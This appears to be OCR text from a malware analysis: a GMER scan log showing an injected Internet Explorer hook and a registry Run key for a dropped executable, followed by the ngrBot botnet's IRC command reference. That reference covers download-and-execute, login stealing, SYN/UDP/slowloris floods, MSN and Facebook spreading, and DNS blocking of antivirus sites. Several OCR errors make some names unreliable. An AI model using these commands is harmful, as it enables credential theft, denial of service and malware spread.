.text C:\Program Files\Internet Explorer\iexplore.exe[1404]
wS2_32.dl1l!send 71AB428A 5 Bytes

JMP 00152E60

---- User IAT/EAT - GMER 1.0.14 ----

IAT C:\Program Files\Internet Explorer\iexplore.exe[1404] @
C:\WINDOWS\system32\ole32.d1l1l [KERNEL32.dll!LoadLibraryExW] [@19718FD] C:\Program
Files\Internet Explorer\xpshims.dll (Internet Explorer Compatibility Shims for
XP/Microsoft Corporation)

---- Registry - GMER 1.0.14 ----

Reg HKCU\Software\Microsoft\Windows\CurrentVersion\Run@vgbkbf
C:\Documents and Settings\[UserName]\Application Data\Vgbkbf.exe

---- Files - GMER 1.0.14 ----

File C:\Documents and Settings\{UserName]\Application Data\Vgbkbf.exe
169472 bytes

---- EOF - GMER 1.0.14 ----

ngrBot Commands
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Note: parameters within "[" and "]" are required, and parameters within "<" and ">"
are optional.

'dl [url] <md5> <-r> <-n>

The bot downloads and executes a file from the specified URL.

Parameters

url URL of the file to download and execute

md5 optional MD5 hash of the file to download for integrity check, the
bot will not redownload a file with the same hash until reboot

-r Enable RuskKill on downloaded file

-n Disables PDef+ on the system until reboot or until it is manually

re-enabled

tup [url] [md5] <-r>

The bot updates its file, but the update does not take effect until the system
is restarted.

Parameters

url URL of the file to update to
md5 MD5 hash of the update file
-r Reboot immediately

ldie

The bot disconnects from the IRC server and does not reconnect until its system
reboots.

I'rm

The bot will remove itself from the system.

Im [state]
Enable/disable all output to IRC regarding to commands and features.

Parameters
state Enable (on) or disable (off) muting of all output to IRC

The bot displays its version, customer name, the MD5 hash of its file, and its
installed filepath.

lvs [url] [state]

The bot creates a browser instance and visits the specified link.
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Parameters
url URL to open
state Open in a visible (1) or invisible (0) window

Irc <-n|-g>

The bot disconnects from the IRC server and waits 15 seconds before
reconnecting.

Parameters

-n 0Only reconnect if the bot is currently marked as "new"

-g Only reconnect if the bot did not previously succeed in determining its
country using GeoIP

1j [<[rule] [options]> channel] <key>

The bot joins the specified channel. If rules are specified, the bot will only
join if the rules apply to it.

Parameters

rule Optional rule for the bot to check for. Supported options
are -c (country) and -v (version)

options Options for selected rule

with -c, you can put a single or multiple comma-separated country code(s)

wWith -v, you can put a single or multiple comma-separated version(s)

channel Channel to join

key Key of channel to join

I'p [<[rule] [options]> channel]

The bot parts the specified channel.

Parameters

rule Optional rule for the bot to check for. Supported options
are -c (country) and -v (version)

options Options for selected rule

with -c, you can put a single or multiple comma-separated country code(s)

with -v, you can put a single or multiple comma-separated version(s)

channel Channel to part

s <rule>

The bot joins the channel for its country (e.g. Russian bots (RU) join #RU).
Parameters

rule Optional rule for the bot to sort by instead of country. Supported
options are -o (operating system), -n (new/old), -u (admin/user), and -v (version)

lus <rule>

The bot parts the channel for its country (e.g. Russian bots (RU) part #RU).
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Parameters

rule Optional rule for the bot to unsort by instead of country.
Supported options are -o (operating system), -n (new/old), -u (admin/user), and -v
(version)

Imod [module] [state]

Enable/disable modules that use hooks.
Note: disabling bdns will only unblock AV and other preset sites, not sites
set using the !mdns command.

Parameters

module Module to change. Supported modules: msn, msnu, pdef,
iegrab, ffgrab, ftpgrab, bdns, usbi

state Enable (on) or disable (off) module

Istats <-1|-s>

Retrieves statistics for spreading and/or login grabbing. If no parameters are
specified, it will display both.

Parameters
-1 Display login grabber stats
-s Display spreading stats

'logins <site]|-c>

Retrieves all grabbed and cached logins and prints them to channel or PM. Can
also be used to clear login cache.

Parameters
site Site to retrieve logins for (case insensitive, see here for the
list of sites)
-C Clear login cache
Istop

The bot will end all running flood tasks.

Issyn [host] [port] [seconds]

Parameters

host Host to flood with SYN requests

port Port to flood. If O, the bot uses a random port
seconds Number of seconds to flood the target

ludp [host] [port] [seconds]

Parameters
host Host to flood with UDP packets
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port Port to flood. If 0, the bot uses a random port
seconds Number of seconds to flood the target

Islow [host] [minutes]

Parameters
host Host to flood using slowloris
minutes Number of minutes to flood the target

Imsn.int [interval]

Set the number of MSN messages in a conversation before one is changed with
your spreading message. See here for more information.
Note: use '#' for a random interval between 1 and 9.

Parameters
interval Number of MSN messages before spread

Imsn.set [message]

Set the message that will be used for MSN spreading. See here for more
information.
Note: use '"#' for a random digit and '*' for a random lowercase letter.

Parameters
message Message to spread via MSN

'http.int [interval]

Set the number of Facebook messages in a conversation before one is changed
with your spreading message. See here for more information.
Note: use '#' for a random interval between 1 and 9.

Parameters
interval Number of Facebook messages before spread

Ihttp.set [message]
Set the message that will be used for Facebook spreading. See here for more
information.
Note: use '"#' for a random digit and '*' for a random lowercase letter.

Parameters
message Message to spread via Facebook

Imdns [url]|[domainl <domain2|ip2>]|[ipl <ip2>]]
The bot will block access to or redirect the specified domain/IP address.

Note: domain to domain, domain to IP address, and IP address to IP address
redirects work. IP address to domain redirection does not yet work.
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Note: it must be the exact domain, for example "example.com" will not
include "www.example.com". Wildcard support will be added in an update.

Parameters

url Plaintext file with one redirect/blocking rule per 1line,
rules are formatted in the same way as the command parameters.

domainl Requests for this domain will be redirected to domain2 or
ip2 if they are set, otherwise it is blocked

ip1 Requests for this IP address will be redirected to ip2 if
it is set, otherwise it is blocked

domain2 DNS queries for domainl will be redirected to this domain
if set

ip2 DNS queries for ipl or domainl will be redirected to this

IP address if set
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